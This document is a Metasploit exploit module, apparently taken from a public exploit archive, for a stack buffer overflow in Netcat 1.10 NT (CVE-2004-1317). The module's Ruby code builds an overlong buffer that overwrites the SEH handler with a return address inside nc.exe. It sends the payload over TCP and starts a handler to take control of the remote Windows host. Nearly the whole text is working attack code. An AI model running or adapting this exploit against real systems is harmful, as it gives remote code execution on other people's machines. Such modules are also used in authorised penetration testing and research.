Netcat 1.10 – NT Stack Buffer Overflow (Metasploit)
## # $Id: netcat110_nt.rb 9587 2010-06-22 23:57:05Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'Netcat v1.10 NT Stack Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in Netcat v1.10 NT. By sending an overly long string we are able to overwrite SEH. The vulnerability exists when netcat is used to bind (-e) an executable to a port in doexec.c. This module tested successfully using "c:\>nc -L -p 31337 -e ftp". }, 'Author' => 'patrick', 'Arch' => [ ARCH_X86 ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 9587 $', 'References' => [ [ 'CVE', '2004-1317' ], [ 'OSVDB', '12612' ], [ 'BID', '12106' ], [ 'URL', 'http://www.milw0rm.com/exploits/726' ], ], 'Privileged' => false, 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { 'Space' => 236, 'BadChars' => "\x00\x0a\x0d", 'StackAdjustment' => -3500, }, 'Platform' => ['win'], 'Targets' => [ # Patrick - Tested OK 2007/09/26 w2ksp0, w2ksp4, xpsp2 en. [ 'Universal nc.exe', { 'Ret' => 0x0040a6ce } ], # p/p/r nc.exe ], 'DisclosureDate' => 'Dec 27 2004', 'DefaultTarget' => 0)) end def autofilter false end def exploit connect sploit = rand_text(277, payload_badchars) sploit[0, payload.encoded.length] = payload.encoded sploit[236, 2] = Rex::Arch::X86.jmp_short(6) sploit[240, 4] = [target['Ret']].pack('V') sploit[244, 5] = Rex::Arch::X86.jmp(0xffffff08) sock.put(sploit) handler disconnect end end |